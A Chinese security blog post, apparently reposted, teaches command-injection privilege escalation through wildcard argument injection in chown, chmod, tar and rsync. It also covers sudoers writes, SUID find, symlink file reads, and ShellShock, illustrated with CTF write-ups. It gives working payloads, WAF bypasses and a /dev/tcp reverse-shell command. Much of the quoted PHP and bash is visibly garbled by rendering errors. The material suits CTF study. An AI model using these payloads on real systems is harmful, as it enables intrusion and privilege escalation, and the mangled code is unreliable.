20210424web渗透学习之命令注入提权的常见方法%ctf题目(通配符在野、tar、chown、rsync、ln)

命令执行到提权
        </h1>
        <div class="clear"></div>
        <div class="postBody">
            <div id="cnblogs_post_body" class="blogpost-body blogpost-body-html">

 

之前在补天平台首发了巧用命令注入的N种方式,看到了有几个师傅衍生出了不同的几个后续版本,都感觉挺不错的,对我的版本进行了一些补充。本来这个总结应该算是前半部分,想写的还没写完,当时又是在考试周,原本想在考试结束后就来写后半部分,又因为各种事给推掉了。所以现在来写后半部分提升篇,也算是对前半部分的补充与解释。

 

提权

这里我们讲讲在命令注入中更有意思的一种方法。

Wildcard Wilderness

Example 1

首先我们先看一个示例

echo "Hello Friends" > file1
echo "This is wildcard Injection" >file2
echo "take help" > --help 

首先创建几个文件,其中有一个是--help,然后使用cat命令读取文件内容

cat file1
cat file 2
cat --help

如果按照我们预期的,是不是在第三个cat --help处应该是要读取—help文件的内容呢?然而我们执行cat —help却优先执行了cat命令的帮助选项,并没有读出—help里的内容。

不仅是catls等命令也会优先调用内置--help选项。

以及还有--all选项。

其实讲道理,词法分析把对诸如--help--all等选项优先处理为内置选项输出,看起来并没有任何问题

这个技巧叫做Wildcard wildness,中文有人译为通配符在野。(-all--help可以通过加入././-all./--help来特指这个文件,避免这个问题)

Example 2

如图,我们有两个文件,当用rm *的时候,只删掉了file1file2,并没有删除*

或者使用rm file1 file2 -rf逐个删除之时,也只删掉了file1file2

使用strace rm *我们可以发现

由于当前目录中存在-rf文件名,rm-rf选项作为最后一个参数,并且递归删除当前目录中的所有文件。同样,若要删除可以加上./-rf进行删除

Trick

我们可以利用Wildcard Wilderness做一些更有用的事情。

File Owner Hijacking

现在我们有三个用户,一个zedd,一个test,一个root用户。

我们分别用zeddtest创建了不同的文件,1.phptest.php都属于test用户的文件,zedd.php--reference=zedd.php均属于zedd用户的文件。

然后使用root用户使用chown -R test:test *.php命令,想把本目录下所有的.php文件修改为test用户所有。

但是结果我们可以发现,结果该目录下所有的.php文件都被修改为了zedd用户所有,成功“提权”。

原理我们可以用strace chown -R zedd:zedd *.php来看一下(注意这里换了一下,模拟想把.php文件改变成zedd用户所有)

我们可以看到

execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "--reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0 

跟我们上个例子原理其实一样,--reference=.backdoor.php被作为一个选项进行了处理,而

--reference=RFILE  use RFILE's owner and group rather than
                         specifying OWNER:GROUP values

--reference=RFILE这个选项则是使用RFILE的文件拥有者和用户组来改变文件属性,而不是使用传入的OWNER:GROUP参数。

因此,在这种情况下,chown--reference选项将覆盖指定为root用户输入的参数zedd:zedd,把此目录中所有.php文件的所有者改变与.backdoor.php的所有者test

所以,按照这种方法,我们可以劫持root将文件的所有权更改为任意用户,并“劫持”我们想要的文件。

Chmod File Reference

类似chown的还有一个命令chmod,它也有--reference=RFIE的选项

--reference=RFILE  use RFILE's mode instead of MODE values

chown类似,因为有--reference=.backdoor.php的存在,在使用chmod 000 *的时候也会把劫持到与.backdoor.php文件权限一样的权限

Tar命令利用

首先我们来看看tar命令帮助文档中的几个有意思的选项

--checkpoint[=NUMBER]  
    display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION execute ACTION on each checkpoint 

从帮助文档,我们大致可以从中理解到,--checkpoint=1可以用来显示信息,--checkpoint-action=exec=sh shell.sh可以用来执行命令

先尝试构建一个shell.sh脚本,内容为/usr/bin/id,以及文件名为--checkpoint=1--checkpoint-action=exec=sh shell.sh的文件,使用tar -cf test.tar *把当前目录下所有文件压缩到test.tar压缩包内

可见,/usr/bin/id已经被成功执行输出。

与之前一样,--checkpoint=1--checkpoint-action=exec=sh shell.sh被作为选项处理

在 2018 SWPUCTF 上有一道 web 题考点也正是利用了这个点,由于题目官方没有开源,这里给一个比较详细的 @一叶飘零 师傅写的 wp 用于参考学习: 2018SWPUCTF-Web#信息再次发掘

rsync命令利用

rsync命令可能比较少用,我们这里简单介绍一下

NAME

​ rsync - a fast, versatile, remote (and local) file-copying tool

rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。使用一个远程shell程序(如rshssh)来实现将本地机器的内容拷贝到远程机器。如:rsync -t *.c foo:src,复制当前本地文件夹下的所有的.c文件到 foo 远程服务器的/src文件夹下。

rsync帮助文档含有以下几个比较有意思的选项

-e, --rsh=COMMAND           specify the remote shell to use
    --rsync-path=PROGRAM    specify the rsync to run on remote machine

--rsh=COMMAND又是一个我们可以利用的地方,我们首先创建一个文件名为-e sh shell.c的文件,然后再创建一个shell.c文件,污染rsync参数来实现执行我们在shell.c中写入的预期命令

假设当前目录下我们拥有一个只有root用户可读的rootfile文件,由于不能直接输出结果,我们可以构造cat ./rootfile > ./output,将文件内容读出。

得到的output文件是 644 的权限,这样我们就成功构造了一个提权读取的文件的 payload ,这里可能需要注意的是,只能提取到执行rsync用户的权限,不是直接的root权限,这里因为执行命令的是root权限,所以能读取只有root用户才能读取的rootfile文件

Tips
  • 既然能执行命令,其实我们可以参照上篇列举的反弹 shell 的方式将 shell 反弹给我们,也可以配合msfvenom来使用。

  • tar命令比较多的都用在/etc/crontab计划任务中,经常会有管理员会用crontab来执行一些tar命令的备份操作,而且crontab执行的权限还是root权限,所以这是个很好利用的点

  • tar命令需要进入到--checkpoint=1文件所在的目录内,如果加上绝对路径将会失效,例如tar cf test.tar /var/www/html/*

    我们可以看到 shell 处理方式将/home/zedd/Desktop/test与目录下的文件名逐个拼接起来,就达不到污染参数的效果了

  • 还可以用echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers,把自己直接写入管理员组

  • 利用chmod u+s /usr/bin/find提升为root权限执行,配合find命令的-exec COMMAND来执行命令,例如find f1 -exec "whoami" \;

文章中讨论的技术可以以不同的形式在各种流行的Unix工具上应用,这里仅仅是抛砖引玉,列举一部分命令。 在实际攻击中,任意 shell 选项/参数都可以隐藏在常规文件中,管理员也不容易发现,比如使用.backdoor.php等形式。

Other

这里讲讲几个虽然不属于提权,但是也比较有意思的几个点。

Echo

echo *可以用来显示目录,echo /???g可以用来探测文件

ln

NAME

​ ln - make links between files

ln命令常常用于链接两个文件,而且分两种链接模式,一种硬链接一种软链接,详细可以参考理解Linux硬链接与软链接。这里主要讲讲软链接,软链接相当于我们 Windows 中的快捷方式,可以使用ln -s创建

例如,这里我们根目录下有一个文件内容为flag{xxx}的名为flag文件,我们使用ln -s /flag file,在当前目录下创建一个file文件链接到/flag,使用cat filephp -r "echo file_get_contents('file')"均可以读取到/flag的内容。

这个软链接读取文件内容已经被多次利用

ShellShock(CVE-2014-6271)

Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的 shell 命令,甚至完全控制目标系统,详细分析参考破壳(ShellShock)漏洞样本分析报告

  • CVE-2014-6271 测试方式:

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

  • CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过)
    env -i X=';() { (a)=>\' bash -c 'echo date'; cat echo

从一道题看Shell Shock

题目地址:command-executor——来源于 HackMe

题目描述:

​ Here's my useless developer assistant website, try to execute your own command!

题目大体思路是:

  • 读取源码
  • Shell Shock命令执行
  • 重定向读写文件

题目设置为几个功能,一个man命令的帮助文档

选择了ls,多了个请求参数file=ls

尝试用其他命令,比如find

猜测eval("man /bin/" + command)或者一些其他的目录

Tar Tester界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar查看压缩包内的内容

Cmd Exec界面只有两个命令,一个ls,一个env

List files是个目录列举界面,可以列举几个目录

观察题目,题目 urlhttps://command-executor.hackme.inndy.tw/index.php?func=untar等均带有func=xxx参数来展示页面,猜测会有文件包含漏洞,尝试使用func=php://filter/read=convert.base64-encode/resource=index读取文件内容,成功得到回显

解码得到 index.php源码

<?php
$pages = [
    ['man', 'Man'],
    ['untar', 'Tar Tester'],
    ['cmd', 'Cmd Exec'],
    ['ls', 'List files'],
];

function fuck($msg) {
header(‘Content-Type: text/plain’);
echo $msg;
exit;
}

$black_list = [
‘/flag’, ‘()\s*{\s*:;\s*};’
];

function waf($a) {
global b l a c k l i s t ; < s p a n c l a s s = " h l j s − k e y w o r d " > i f < / s p a n > ( i s a r r a y ( black_list; <span class="hljs-keyword">if</span>(is_array( blacklist;<spanclass="hljskeyword">if</span>(isarray(a)) {
foreach($a as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: … waf(key);
waf(KaTeX parse error: Expected 'EOF', got '}' at position 15: val); }̲ } <span cl…black_list as KaTeX parse error: Expected '}', got 'EOF' at end of input: …s="hljs-subst">b/", KaTeX parse error: Expected '}', got 'EOF' at end of input: …s="hljs-subst">b detected! exit now.");
}
}
}
}

waf( S E R V E R ) ; w a f ( _SERVER); waf( SERVER);waf(_GET);
waf($_POST);

function execute($cmd, $shell=‘bash’) {
system(sprintf(’%s -c %s’, s h e l l , e s c a p e s h e l l a r g ( shell, escapeshellarg( shell,escapeshellarg(cmd)));
}

foreach($SERVER as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: …</span>(substr(key, 0, 5) === 'HTTP’) {
putenv( k e y < / s p a n > = < s p a n c l a s s = " h l j s − s u b s t " > key</span>=<span class="hljs-subst"> key</span>=<spanclass="hljssubst">val);
}
}

$page = ‘’;

if(isset($_GET[‘func’])) {
$page = G E T [ < s p a n c l a s s = " h l j s − s t r i n g " > ′ f u n c ′ < / s p a n > ] ; < s p a n c l a s s = " h l j s − k e y w o r d " > i f < / s p a n > ( s t r s t r ( _GET[<span class="hljs-string">'func'</span>]; <span class="hljs-keyword">if</span>(strstr( GET[<spanclass="hljsstring">func</span>];<spanclass="hljskeyword">if</span>(strstr(page, ‘…’) !== false) {
$page = ‘’;
}
}

if(KaTeX parse error: Expected 'EOF', got '&' at position 6: page &̲amp;&amp; strle…page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>

<img src=“windows-run.jpg” alt=“command executor”>
<?php }
?>
<!DOCTYPE html>
<html lang=“en”>
<head>
<meta charset=“UTF-8”>
<title>Command Executor</title>
<link rel=“stylesheet” href=“bootstrap/css/bootstrap.min.css” media=“all”>
<link rel=“stylesheet” href=“comic-neue/font.css” media=“all”>
<style>
nav { margin-bottom: 1rem; }
img { max-width: 100%; }
</style>
</head>
<body>
<nav class=“navbar navbar-expand-lg navbar-dark bg-dark d-flex”>
<a class=“navbar-brand” href=“index.php”>Command Executor</a>

  <span class="hljs-tag">&lt;<span class="hljs-name">ul</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"navbar-nav"</span>&gt;</span>

<?php foreach( p a g e s < s p a n c l a s s = " h l j s − k e y w o r d " > a s < / s p a n > < s p a n c l a s s = " h l j s − k e y w o r d " > l i s t < / s p a n > ( pages <span class="hljs-keyword">as</span> <span class="hljs-keyword">list</span>( pages<spanclass="hljskeyword">as</span><spanclass="hljskeyword">list</span>(file, KaTeX parse error: Expected 'EOF', got '&' at position 35: …s="hljs-meta">?&̲gt;</span></spa…file?>"><?=$title?></a>
</li>
<?php endforeach; ?>
</ul>
</nav>

<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"container"</span>&gt;</span></span><span class="php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-keyword">if</span>(is_callable(<span class="hljs-string">'render'</span>)) render(); <span class="hljs-keyword">else</span> render_default(); <span class="hljs-meta">?&gt;</span></span><span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

</body>
</html>

man.php源码:

<?php
function render() {
    $file = 'man'; if(isset($_GET['file'])) { $file = (string)$_GET['file']; if(preg_match('/^[\w\-]+$/', $file) !== 1) { echo '<pre>Invalid file name!</pre>'; return; } } 
<span class="k">echo <span class="s1">'&lt;h1&gt;Online documents&lt;/h1&gt;'<span class="p">;

<span class="nv">$cmds <span class="o">= <span class="p">[
    <span class="s1">'bash'<span class="p">, <span class="s1">'ls'<span class="p">, <span class="s1">'cp'<span class="p">, <span class="s1">'mv'
<span class="p">];

<span class="k">echo <span class="s1">'&lt;ul&gt;'<span class="p">;
<span class="k">foreach<span class="p">(<span class="nv">$cmds <span class="k">as <span class="nv">$cmd<span class="p">) <span class="p">{
    <span class="nb">printf<span class="p">(<span class="s1">'&lt;li&gt;&lt;a href="index.php?func=man&amp;file=%s"&gt;%1$s&lt;/a&gt;&lt;/li&gt;'<span class="p">, <span class="nv">$cmd<span class="p">);
<span class="p">}
<span class="k">echo <span class="s1">'&lt;/ul&gt;'<span class="p">;

<span class="nb">printf<span class="p">(<span class="s1">'&lt;h2&gt;$ man %s&lt;/h2&gt;'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$file<span class="p">));

<span class="k">echo <span class="s1">'&lt;pre&gt;'<span class="p">;
<span class="nx">execute<span class="p">(<span class="nb">sprintf<span class="p">(<span class="s1">'man %s | cat'<span class="p">, <span class="nb">escapeshellarg<span class="p">(<span class="nv">$file<span class="p">)));
<span class="k">echo <span class="s1">'&lt;/pre&gt;'<span class="p">;

}
?>

untar.php源码:

<?php
function render() {
?> <h1>Tar file tester</h1> 

<p>Please upload a tar file to test</p>

<form enctype=“multipart/form-data” action=“index.php?func=untar” method=“POST”>
<input type=“file” name=“tarfile” id=“tarfile”>
<input class=“btn btn-primary” type=“submit” value=“Upload &amp; Test”>
</form>

<?php

<span class="k">if<span class="p">(<span class="nb">isset<span class="p">(<span class="nv">$_FILES<span class="p">[<span class="s1">'tarfile'<span class="p">])) <span class="p">{
    <span class="nb">printf<span class="p">(<span class="s1">'&lt;h2&gt;$ tar -tvf %s&lt;/h2&gt;'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$_FILES<span class="p">[<span class="s1">'tarfile'<span class="p">][<span class="s1">'name'<span class="p">]));

    <span class="k">echo <span class="s1">'&lt;pre&gt;'<span class="p">;
    <span class="nx">execute<span class="p">(<span class="nb">sprintf<span class="p">(<span class="s1">'tar -tvf %s 2&gt;&amp;1'<span class="p">, <span class="nb">escapeshellarg<span class="p">(<span class="nv">$_FILES<span class="p">[<span class="s1">'tarfile'<span class="p">][<span class="s1">'tmp_name'<span class="p">])));
    <span class="k">echo <span class="s1">'&lt;/pre&gt;'<span class="p">;
<span class="p">}

}
?>

ls.php源码:

<?php
function render() {
    $file = '.'; if(isset($_GET['file'])) { $file = (string)$_GET['file']; } 
<span class="k">echo <span class="s1">'&lt;h1&gt;Dictionary Traversal&lt;/h1&gt;'<span class="p">;

<span class="k">echo <span class="s1">'&lt;ul&gt;'<span class="p">;
<span class="nv">$dirs <span class="o">= <span class="p">[<span class="s1">'.'<span class="p">, <span class="s1">'..'<span class="p">, <span class="s1">'../..'<span class="p">, <span class="s1">'/etc/passwd'<span class="p">];
<span class="k">foreach<span class="p">(<span class="nv">$dirs <span class="k">as <span class="nv">$dir<span class="p">) <span class="p">{
    <span class="nb">printf<span class="p">(<span class="s1">'&lt;li&gt;&lt;a href="index.php?func=ls&amp;file=%s"&gt;%1$s&lt;/a&gt;&lt;/li&gt;'<span class="p">, <span class="nv">$dir<span class="p">);
<span class="p">}
<span class="k">echo <span class="s1">'&lt;/ul&gt;'<span class="p">;

<span class="nb">printf<span class="p">(<span class="s1">'&lt;h2&gt;$ ls %s&lt;/h2&gt;'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$file<span class="p">));

<span class="k">echo <span class="s1">'&lt;pre&gt;'<span class="p">;
<span class="nx">execute<span class="p">(<span class="nb">sprintf<span class="p">(<span class="s1">'ls -l %s'<span class="p">, <span class="nb">escapeshellarg<span class="p">(<span class="nv">$file<span class="p">)));
<span class="k">echo <span class="s1">'&lt;/pre&gt;'<span class="p">;

}
?>

cmd.php源码:

<?php
function render() {
    $cmd = ''; if(isset($_GET['cmd'])) { $cmd = (string)$_GET['cmd']; } ?> <h1>Command Execution</h1> <?php echo '<ul>'; $cmds = ['ls', 'env']; foreach($cmds as $c) { printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c); } echo '</ul>'; ?> 

<form action=“index.php” method=“GET”>
<input type=“hidden” name=“func” value=“cmd”>
<div class=“input-group”>
<input class=“form-control” type=“text” name=“cmd” id=“cmd”>
<div class=“input-group-append”>
<input class=“btn btn-primary” type=“submit” value=“Execute”>
</div>
</div>
</form>
<script>cmd.focus();</script>
<?php

<span class="k">if<span class="p">(<span class="nb">strlen<span class="p">(<span class="nv">$cmd<span class="p">) <span class="o">&gt; <span class="mi">0<span class="p">) <span class="p">{
    <span class="nb">printf<span class="p">(<span class="s1">'&lt;h2&gt;$ %s&lt;/h2&gt;'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$cmd<span class="p">));

    <span class="k">echo <span class="s1">'&lt;pre&gt;'<span class="p">;
    <span class="k">switch <span class="p">(<span class="nv">$cmd<span class="p">) <span class="p">{
    <span class="k">case <span class="s1">'env'<span class="o">:
    <span class="k">case <span class="s1">'ls'<span class="o">:
    <span class="k">case <span class="s1">'ls -l'<span class="o">:
    <span class="k">case <span class="s1">'ls -al'<span class="o">:
        <span class="nx">execute<span class="p">(<span class="nv">$cmd<span class="p">);
        <span class="k">break<span class="p">;
    <span class="k">case <span class="s1">'cat flag'<span class="o">:
        <span class="k">echo <span class="s1">'&lt;img src="cat-flag.png" alt="cat flag"&gt;'<span class="p">;
        <span class="k">break<span class="p">;
    <span class="k">default<span class="o">:
        <span class="nb">printf<span class="p">(<span class="s1">'%s: command not found'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$cmd<span class="p">));
    <span class="p">}
    <span class="k">echo <span class="s1">'&lt;/pre&gt;'<span class="p">;
<span class="p">}

}
?>

接下来我们就可以利用ls.php来找flag了,因为ls.php没什么过滤,所以用func=ls&file=../../../可以发现根目录下的文件

接下来就是考虑怎么去读了,man.php因为有preg_match('/^[\w\-]+$/', $file) !== 1限制得比较死,untar.php貌似只有tar -tvf并没有什么用处,只有cmd.php给出了一个比较不太寻常的env这个命令,其实这样也算是提示得比较明显了,比较容易让人想到也可以比较容易搜到ShellShock漏洞,并且在index.php中发现有

$black_list = [
    '\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global b l a c k l i s t ; < s p a n c l a s s = " x " > i f ( i s a r r a y ( black_list; <span class="x"> if(is_array( blacklist;<spanclass="x">if(isarray(a)) {
foreach($a as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: … waf(key);
waf(KaTeX parse error: Expected 'EOF', got '}' at position 31: …ss="x"> }̲ <span class="x…black_list as KaTeX parse error: Expected '}', got 'EOF' at end of input: …f(preg_match("/b/", KaTeX parse error: Expected '}', got 'EOF' at end of input: … fuck("b detected! exit now.");
}
}
}
}

waf( S E R V E R ) ; < s p a n c l a s s = " x " > w a f ( _SERVER); <span class="x">waf( SERVER);<spanclass="x">waf(_GET);
waf($_POST);

foreach($SERVER as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: …> if(substr(key, 0, 5) === 'HTTP’) {
putenv(“ k e y = key= key=val”);
}
}

关键就在putenv函数,由于ShellShock漏洞 padyload 需要参数

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

我们就可以利用putenv实现参数传递,直接设置User-agent: () { :;}; echo 222222,发现被 waf

分析 waf 结合漏洞成因,我们可以在最后的};中间添加一个空格绕过,设置User-Agent: () { :;} ; echo 222222,成功发现输出 22222 ,我们也可以使用() { _; } >_[$($())] { whoami; }这个 payload

发现当前用户为www-data,而我们之前发现根目录flag的权限为-r-------- 1 flag root 37 Jan 9 2018 flag,所以不能直接读取,但是有一个flag-readerflag-reader.c的文件,这应该是题目提示了。因为index.php又把flag关键字屏蔽了,我们也不能直接读取flag-reader.c,但是我们这里可以利用通配符读取,例如使用fla*.c

使用() { _; } >_[$($())] { cat /fla*.c; }得到flag-reader.c源码

Flag-reader.c:

#include <unistd.h>
#include <syscall.h> #include <fcntl.h> #include <string.h> 

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, “Not enough random\n, 18);
}

<span class="n">setuid<span class="p">(<span class="mi">1337<span class="p">);
<span class="n">seteuid<span class="p">(<span class="mi">1337<span class="p">);
<span class="n">alarm<span class="p">(<span class="mi">1<span class="p">);
<span class="n">write<span class="p">(<span class="mi">1<span class="p">, <span class="o">&amp;<span class="n">rnd<span class="p">, <span class="k">sizeof<span class="p">(<span class="n">rnd<span class="p">));
<span class="n">read<span class="p">(<span class="mi">0<span class="p">, <span class="o">&amp;<span class="n">val<span class="p">, <span class="k">sizeof<span class="p">(<span class="n">val<span class="p">));

<span class="k">if<span class="p">(<span class="n">memcmp<span class="p">(<span class="n">rnd<span class="p">, <span class="n">val<span class="p">, <span class="k">sizeof<span class="p">(<span class="n">rnd<span class="p">)) <span class="o">== <span class="mi">0<span class="p">) <span class="p">{
    <span class="kt">int <span class="n">fd <span class="o">= <span class="n">open<span class="p">(<span class="n">argv<span class="p">[<span class="mi">1<span class="p">], <span class="n">O_RDONLY<span class="p">);
    <span class="k">if<span class="p">(<span class="n">fd <span class="o">&gt; <span class="mi">0<span class="p">) <span class="p">{
        <span class="kt">int <span class="n">s <span class="o">= <span class="n">read<span class="p">(<span class="n">fd<span class="p">, <span class="n">buff<span class="p">, <span class="mi">1024<span class="p">);
        <span class="k">if<span class="p">(<span class="n">s <span class="o">&gt; <span class="mi">0<span class="p">) <span class="p">{
            <span class="n">write<span class="p">(<span class="mi">1<span class="p">, <span class="n">buff<span class="p">, <span class="n">s<span class="p">);
        <span class="p">}
        <span class="n">close<span class="p">(<span class="n">fd<span class="p">);
    <span class="p">} <span class="k">else <span class="p">{
        <span class="n">write<span class="p">(<span class="mi">1<span class="p">, <span class="s">"Can not open file<span class="se">\n<span class="s">"<span class="p">, <span class="mi">18<span class="p">);
    <span class="p">}
<span class="p">} <span class="k">else <span class="p">{
    <span class="n">write<span class="p">(<span class="mi">1<span class="p">, <span class="s">"Wrong response<span class="se">\n<span class="s">"<span class="p">, <span class="mi">16<span class="p">);
<span class="p">}

}

使用bash -c "sh >& /dev/tcp/your ip/port 0>&1"直接反弹 shell

运行flag-reader

审计一下这段代码,大致是输出一串随机数,然后在1s之内又要输入进去,否则就write(1, "Wrong response\n", 16);...

然而我在回弹 shell 之后,利用/tmp可写的权限,貌似有点小问题,一旦cat /tmp/zedd,链接就断掉了,无奈只能找其他文件夹,发现/run/lock/var/tmp均可读可写,使用/flag-reader flag > /run/lock/zedd < /run/lock/zedd写入 flag

反弹 shell 使用cat非常容易断掉,最好使用执行的方式,最后得到 flag

上篇的解释与补充

特殊变量

这里再对上篇进行一定的补充与解释。

$n
变量含义
$0当前脚本的文件名
$n传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第二个参数是$2(0<n<9)
${n}9<n时需要加上大括号

例如,脚本文件如下

#!/bin/bash

echo “File Name: $0
echo “First Parameter : $1
echo “First Parameter : $2

执行脚本文件

$ ./test.sh Hello Zedd
File Name: ./test.sh
First Parameter : Hello
Second Parameter : Zedd

而当没有参数的时候,$n就为空,所以我们可以用cat /fl$1ag这样绕过关键字过滤,并且在 bash 环境下

$ echo $0
bash

所以我们可以使用这样的 payload ,可以用在 bash 这个关键字过滤但是有需要用到 bash 的情况下,前提是环境用的是 bash

$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx} 
$IFS

IFS(Internal Field Seprator) ,内部域分隔符,Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。

而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

$ echo $IFS

$ echo $IFS| od -b
0000000 040 011 012 012
0000004

我们可以看到直接输出IFS是看不到的,把它转化为二进制就可以看到了,"040"是空格,"011"是Tab,"012"是换行符"\n" 。最后一个 012 是因为 echo 默认是会换行的。

$?

上个命令的退出状态,或函数的返回值。退出状态是一个数字,一般情况下,大部分命令执行成功会返回0,失败返回1。不过,也有一些命令返回其他值,表示不同类型的错误。

$

当前 Shell 进程 ID。对于 Shell 脚本,就是这些脚本所在的进程 ID。

$ echo $$
75576
$

传递给脚本或函数的参数个数。

脚本文件内容:

#!/bin/bash

echo “Total Number of Parameters : $#

执行命令

$ ./test.sh Hello Zedd
Total Number of Parameters : 2
\$*与\$@

都是传递给脚本或函数的所有参数。

脚本文件内容:

#!/bin/bash

echo “Quoted Values: @ < s p a n c l a s s = " s 2 " > " < s p a n c l a s s = " n b " > e c h o < s p a n c l a s s = " s 2 " > " Q u o t e d V a l u e s : < s p a n c l a s s = " n v " > @<span class="s2">" <span class="nb">echo <span class="s2">"Quoted Values: <span class="nv"> @<spanclass="s2">"<spanclass="nb">echo<spanclass="s2">"QuotedValues:<spanclass="nv">*

执行命令:

$ ./test.sh Hello Zedd
Quoted Values: Hello Zedd
Quoted Values: Hello Zedd

它们不被双引号(" ")包含时,都以"1""2" … "$n" 的形式输出所有参数。

但是当它们被双引号(" ")包含时,"∗"会将所有的参数作为一个整体,以"1 2…n"的形式输出所有参数;"@"会将各个参数分开,以"1" "2"…"n" 的形式输出所有参数。

内置变量绕过

上篇其实提到了一点内置变量绕过,但是讲的也不并不多,只是大概提了一下。这里再给一些常用的 bash 内置的环境变量

$BASH
$ echo $BASH
/usr/local/bin/bash

返回 bash 二进制文件的路径

$HOME
$ $HOME
bash: /Users/zedd: Is a directory

返回当前用户所属目录

$PWD
$ echo $PWD
/

显示当前目录

$OLDPWD
$ echo $OLDPWD
/Users/zedd/Desktop/

返回上次所在目录

$PATH
$ echo $PATH
/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin:/sbin:/usr/sbin

环境变量$PATH

$PS1
$ echo $PS1
\s-\v\$

看到的命令行主要提示

$PS2
$ echo $PS2
>

额外输入的辅助提示,表示为>$PS3是 Shell 脚本中使用select时的提示符,显示为空,这里就不再单独列举了

$PS4
$ echo $PS4
+

set -x配合用来修改跟踪输出的前缀,显示为+

举个例子

Layer7 CTF 2018

可以访问https://cat.canhack.me/这个在线地址

题目描述
This service provides read the file.
https://cat.canhack.me/

This challenge was published in the Layer7 CTF in 2018.

WriteUp

点进去发现有

<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>. 

跟进得到test.txt的内容

猜测为文件包含,尝试直接读取flagwaf,直接读取https://cat.canhack.me/?file=index.php

<?php
    error_reporting(0);
<span class="k">require <span class="no">__DIR__<span class="o">.<span class="s1">'/flag-f72a161d445915d2bdcdc820c4143353.php'<span class="p">;

<span class="k">if<span class="p">(<span class="nb">isset<span class="p">(<span class="nv">$_GET<span class="p">[<span class="s1">'file'<span class="p">])){

    <span class="k">if<span class="p">(<span class="nb">preg_match<span class="p">(<span class="s1">'/flag|\'|\"|`|\\\\|;|\(|\)|\*|\?|\.\.|\//i'<span class="p">, <span class="nv">$_GET<span class="p">[<span class="s1">'file'<span class="p">])){
        <span class="k">die<span class="p">(<span class="s1">'no hack'<span class="p">);
    <span class="p">}

    <span class="nb">system<span class="p">(<span class="s1">'cat "'<span class="o">.<span class="nv">$_GET<span class="p">[<span class="s1">'file'<span class="p">]<span class="o">.<span class="s1">'"'<span class="p">);

<span class="p">}<span class="k">else<span class="p">{
    <span class="k">echo <span class="s1">'&lt;b&gt;Usage&lt;/b&gt;: Please enter the parameter like as in &lt;a href="/?file=test.txt"&gt;this&lt;/a&gt;.'<span class="p">;
<span class="p">}

还剩下{}<>[]+-=^$@!&,是个关键字绕过,有$,我们很快可以联想到可以用$n这种方式绕过,最终 payload

https://cat.canhack.me/?file=fl$1ag-f72a161d445915d2bdcdc820c4143353.php

参考:

Internal Variables

Shell中的IFS解惑

Shell 特殊变量

一个有趣的任意文件读写

利用通配符进行Linux本地提权

Unix Wildcards Gone Wild

分类: Web安全
<div id="blog_post_info">
0
0
<div class="clear"></div>
<div id="post_next_prev"></div>
posted @ 2019-04-13 15:38  linuxsec  阅读( 1496)  评论( 0编辑  收藏
</div>
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值